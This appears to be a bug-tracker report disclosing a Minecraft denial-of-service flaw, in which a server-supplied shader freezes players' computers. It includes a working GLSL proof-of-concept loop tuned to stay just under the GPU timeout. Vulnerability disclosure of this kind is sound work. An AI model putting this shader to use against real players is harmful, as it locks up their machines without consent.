System-wide Denial of Service Exploit via Shaders
Minecraft allows for players to be sent fragment and vertex shaders from servers via resource packs. In general, these are only accessible via "Super Secret Settings", but they can be forced by making players spectate Creepers, Endermen, or Spiders. This allows me to effectively freeze a player's computer.
Modern GPUs have safeguards that prevent them from crashing computer when extended loops are run, however immense lag can be induced(2s limit per cycle for Nvidia) on clients by running a very long loop that takes just under the timeout to apply. In my tests, I incremented an atomic integer, but I'd imagine that's not necessary to invoke the freeze I've observed. This exploit rendered my computer useless, and required me to hard reboot it to restore control. It's also worth noting that an immense spike in CPU occurred when the shader was applied.
My Proof-of-Concept:
#version 420
uniform sampler2D DiffuseSampler;
varying vec2 texCoord;
varying vec2 oneTexel;
uniform vec2 InSize;
layout(binding = 0, offset = 12) uniform atomic_uint one;
void main(){
vec4 center = texture2D(DiffuseSampler, texCoord);
gl_FragColor = vec4(center.xyz, 1.0);
float pixels = InSize.x * InSize.y;
//38942500000 is a magic number found via experimentation with my GPU. This is the amount of iterations needed to reach just below 2 seconds, the nvidia timeout limit.
//This number is then divided by the number of total pixels to determine how many loops required
for(int i = 0; i < 38942500000.0 / pixels; i++) {
atomicCounterIncrement(one);
}
}
2015-08-07, 04:51 AM
2018-06-16, 09:32 AM
2015-10-24, 03:26 PM
0
2
Minecraft 1.8.8, Minecraft 15w31c, Minecraft 15w32a, Minecraft 15w32b
-